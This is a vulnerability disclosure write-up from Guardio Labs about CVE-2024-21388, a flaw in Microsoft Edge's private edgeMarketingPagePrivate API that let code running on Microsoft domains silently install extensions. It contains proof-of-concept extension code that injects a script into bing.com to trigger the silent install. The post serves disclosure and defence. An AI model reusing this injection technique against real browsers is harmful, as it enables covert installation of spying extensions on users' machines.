“CVE-2024-21388”- Microsoft Edge’s Marketing API Exploited for Covert Extension Installation

Guardio
10 min readMar 27, 2024

By Oleg Zaytsev (Guardio Labs)

Guardio Labs discovered a vulnerability in the Microsoft Edge browser, designated CVE-2024–21388. This flaw could have allowed an attacker to exploit a private API, initially intended for marketing purposes, to covertly install additional browser extensions with broad permissions without the user’s knowledge. Promptly after our discovery, we fully disclosed the issue to Microsoft, leading to a resolution in February 2024.

In this write-up, we unfold our discovery process, showcase the vulnerability with straightforward Proof of Concept (POC) code, and ponder the broader security implications. The resolution of CVE-2024–21388 underscores the ongoing challenge of balancing user experience with cybersecurity. It serves as a reminder that enhancements aimed at improving browser functionality must be carefully weighed against the potential for creating exploitable security gaps, highlighting the importance of collaborative security efforts and proactive vulnerability management.

Securing the Browser-Extension Interface

At Guardio, making browsing safer is what we do best, with one of our key products being a browser extension that boosts users’ security on desktop browsers. Our expertise in this area led us to delve into how browser extensions interact with browsers, aiming to spot and fix vulnerabilities before they fall into the wrong hands.

Following our earlier discovery in the Opera Browser, where we identified a method to break out of the browser environment and run code on the OS level using a mere extension, our attention shifted to Microsoft’s Edge browser — a daily tool many of us use. Here, we uncovered a vulnerability that, despite its simplicity, could have severe consequences if exploited.

Long story short: This vulnerability enabled anyone with a method to run JavaScript on bing.com or microsoft.com pages to install any extensions from the Edge Add-ons Store without the user’s consent or interaction. This is an “Elevation of Privilege” issue and was classified as Moderate in severity by the Microsoft Security Response Center (MSRC)

Vulnerability Exploit Attack Flow Illustration — From exploiting internal API to installing a malicious extension

We fully disclosed this issue to Microsoft as soon as we realized it back in November 2023, and once fixed and deployed as part of an early February 2024 security patch, it was also granted the CVE code of CVE-2024–21388.

Chromium’s Customization Infra

To fully understand the vulnerability and its origin, we start our journey in the backbone of the Chromium project infrastructure and how Microsoft used it for their branded Browser — Edge.

Since April 2021, Microsoft Edge has utilized the open-source Chromium engine. Chromium’s architecture, known for its customizability, paved the way for Microsoft to adapt and rebrand that open-source project for Edge. This process, while innovative, also introduced new potential security risks in the form of proprietary code altering and adding functionality to the open-sourced project.

A relevant example of how Chromium customization works is the Chrome Web Store. While it has all of the features of a simple webpage like any other, it also has specifically granted access to some powerful APIs enabling it to install a new extension to your browser — a capability reserved ONLY for the vendor’s branded web store:

How Chrome uses the customization infrastructure to add advanced capabilities to the Web Store

The configuration for these unique capabilities is primarily located in the _api_features.json file, as designed by the Chromium open-source project. These files outline the allocation of permissions and vendor-specific APIs to various contexts.

So, if we want to discover how the Chrome Webstore website manages extensions and installs them, this would be the place to look. There we would find that this context receives special access to chrome.management API, allowing it to uninstall and disable extensions and to the chrome.webstorePrivate API, a hidden API explicitly created for the Webstore that allows it to install extensions.

Example of how Chrome customization sets elevated privileges for the Chrome Store web page.

Surely there are other ways to customize your Chromium-based browser. One such way is described in our MyFlaw research, where a custom API allows the MyFlow Opera website to download and execute files on your operating system, bypassing the Browser sandbox.

And so, this is indeed a great place for adversaries to scout for possible attack surfaces on the Edge Browser…

Diving Into The Edge

While we investigated the Edge browser, we chose to focus on the configuration files and other customized code found within the resources.pak file in the Edge’s “Program Files” directory. This is the file packing inside all the relevant resources of the browser, including the declaration of special permissions as well as vendor-specific APIs.

With the help of the open-source tool chrome-pak-customizer, we accessed these archive files, and by comparing these files to their counterparts in the base version of Chromium, we identified new custom APIs and determined which websites were granted access to them. While the focus was on finding logical issues in API security, looking for code vulnerabilities in such areas is also a common practice.

Eventually, we stumbled upon the edgeMarketingPagePrivate API:

"edgeMarketingPagePrivate": {
"channel": "stable",
"contexts": [
"blessed_web_page",
"web_page",
"webui",
"serviceui"
],
"matches": [
"https://microsoftedgewelcome.microsoft.com/*",
"https://www.microsoft.com/*",
"https://microsoftedgetips.microsoft.com/*",
"https://www.bing.com/*",
"edge://surf/*",
"https://localhost.msn.com/*",
"https://ntp.msn.com/*",
"https://ntp.msn.cn/*"
]
},

This private API is accessible from a list of websites that belong to Microsoft, as seen above. Upon analyzing the API itself, it seems to be designed to integrate and activate numerous marketing showcases of Edge browser features seamlessly within the framework of a web page.

Microsoft Edge Feature & Tips Landing Page example of Private API usage

As seen in the above clip, one such example is the ability to open the copilot tab directly from a link on the webpage, as well as other apps and browser capabilities. But what really caught our attention was the curiously sounding method called installTheme.

The Hidden API that Sneaks in an Extension

As it is easy to guess, this method installs a theme from Microsoft’s “Add-ons Store.” All it requires is a themeId and the theme’s manifest file. Themes just change the look and feel of the browser, yet it’s worth mentioning that behind the scenes, a theme is actually a type of browser extensio. A regular extension is much more powerful and, among the productive benefits of them all, are constantly being abused to steal information, credentials, crypto wallets, and whatnot, all under the impersonation of other benign tools like a simple color picker

Instead of just installing a theme, could this API give its initiator a means to install an extension? Why not just try it? Changing the themeId to any extensionId from the Add-On store, and voilà! Looks like it won’t even try to validate the Id input here for it’s extension type, and we got here a simple JavaScript method that installs any extension we wish!

As an added bonus, as this extension installation is not done quite in the manner it was originally designed for, there will be no need for any interaction or consent from the user!

A private browser API allowing any extension type installed silently on your browser

Yet, this is a private API. Only privileged and selected websites can integrate it and be able to call it — as described by the API definition above. And those websites are fully immune to being exploited like this — or aren’t they?…

Exploitation by Injecting JavaScript Snippets

To call this method and install an extension, one must execute this code from the context of a privileged website. Let’s say, from bing.com.

One notorious option is XSS — A cross-site scripting vulnerability on one of the privileged domains. Certainly, an XSS represents a powerful vulnerability in its own right and is by no means easy to discover within such high-profile domains. However, its security impact is small compared to what is possible when combined with this API exploitation. The last will provide the adversary with a means to escape the web context, leveraging an XSS up to spyware level in the form of an extension that tracks your every action in the browser and takes over your accounts and money.

Another possibility is the use of a minimal privileged extension that can be easily crafted and added to the Add-On store under the disguise of a general-purpose productivity tool. All the extension needs to do is add or replace one of the scripts in, let’s say bing.com and make it call the above API:

Conceptual Exploit — using a low privileged extension to trigger the silent installation of a more powerful one

Exploit POC — Simple, Yet Powerful Extension

For an extension to be able to call this API from the correct context, one can use WebRequest manipulation or just directly inject this script into the bing.com context with the ContentScripting capability. The last is quite a simple permission almost all extensions share, and also the easiest to abuse.

So, the extension will just open the bing.com website (or wait for the search for anything) and inject a simple script into its context. One that does one simple thing — calls the private API.

The contentScript.js file of the stage-1 extension will start the injection sequence using the createElement method. This will dynamically introduce a new inline script tag, under our control, into the actual bing.com context. Using this method, we can actually inject a script into the desired context, bypassing the less privileged extension content script context we started at.

That script will then call the private API at chrome.edgeMarketingPagePrivate.installThemecausing Bing to initiate a new silent extension install!

function injectScript() {
const scriptElement = document.createElement("script");
script = `manifest = {TARGET_EXTENSION_MANIFEST}
};
x = JSON.stringify(manifest);
chrome.edgeMarketingPagePrivate.installTheme(
"{TARGET_EXTENSION_ID}",
x,
console.log
);`;
scriptElement.src =
"data:application/javascript;charset=utf-8;base64," +
btoa(unescape(encodeURIComponent(script)));
document.body.appendChild(scriptElement);
}

injectScript();

And the extension manifest is super simple as well:

{
"name": "edge-extension-install-poc-conetntscript",
"version": "1.0",
"content_scripts": [
{
"matches": ["https://www.bing.com/*"],
"js": ["contentScript.js"]
}
],
"permissions": [
"activeTab",
"<all_urls>"
],
"manifest_version": 2
}

Executing this extension on the Edge browser and going to bing.com will automatically install our selected extension. In the following clip, as an example, we choose to install the uBlock open-source ad-blocker:

Disclaimer — uBlock is a legitimate extension and is not associated with our research or the exploit POC. It was referenced purely for illustrative purposes.

POC live capture — install exploit extension, search for something on Bing — and get another extension installed

Adversaries Persistancy and Other Consequences

While the exploitation of this vulnerability may not seem direct, adversaries could misuse it in damaging ways. Consider the seemingly innocuous ad-blocker extensions or other free productivity tools available in add-on stores, which use minimal permissions. Our findings indicate that a simple configuration change could allow these harmless extensions to install others with higher privileges without the user’s knowledge.

It’s relatively easy for attackers to trick users into installing an extension that appears harmless, not realizing it serves as the initial step in a more complex attack. This vulnerability could be exploited to facilitate the installation of additional extensions, potentially for monetary gain.

Concerns also arise regarding genuinely malicious extensions. Although such extensions are prohibited in the official add-on store, malicious actors have been known to bypass these restrictions using obfuscation techniques, dynamic code loading, and convincing cover stories. While these malicious extensions are eventually detected and removed, their brief time in the store can be harmful. Imagine the impact if attackers had already distributed millions of stage-1 extensions, allowing them to silently install a malicious extension across numerous devices with a single command once it becomes available in the store.

Disclosure Timeline and Current State

Microsoft was quite responsive to our disclosure, quickly re-creating the issue on their end and setting the fix design and target release. Overall less than 3 months from the initial disclosure to the security fix release on version 121.0.2277.98.

Full Disclosure Timeline and Major Milestones

The issue was fixed by carefully checking what extension ID and extension type are being presented to this API. Thus, it can now only install themes as expected. Yet, it is essential to mention the flow of our POC above is still there — an extension can still manipulate the javascript code of those selected domains, thus reaching the privileged context to call this private API (and others).

Final Thoughts

Following the implementation of this fix, we are not currently aware of any remaining vulnerabilities that can be exploited from this standpoint. However, it’s crucial to highlight that the interaction between extensions, privileged websites, and private APIs presents a significant security concern within the Chromium framework. Here at Guardio, this marks the second occasion in recent months where we’ve identified serious vulnerabilities stemming from this very issue.

Relying solely on domain-based permissions to access potent private APIs is insufficient. The potential compromise of a domain or subdomain poses a real threat, as evidenced by a substantial campaign of subdomain takeovers we recently uncovered, affecting over 10,000 domains.

The issue extends to extensions designed to inject code into websites. A simple yet effective countermeasure could involve restricting such extensions from modifying specific domains, akin to Chrome’s policy for its Webstore. Allowing code injection on domains like microsoft.com, bing.com, and msn.com, although a core use case for extensions, is inherently risky and must be handled with care.

This situation underscores the critical balance between user convenience and security. Enhancing user experience should not undermine security protocols. Developers and platform operators must focus on security throughout the development cycle, introducing measures to prevent exploitation. Even seemingly minor vulnerabilities represent significant risks, and the bad guys will always find the worst ways to exploit those.

--

--

Keeping your online identity and information secure on every corner of the web. #SafeBrowsing Learn more at https://guard.io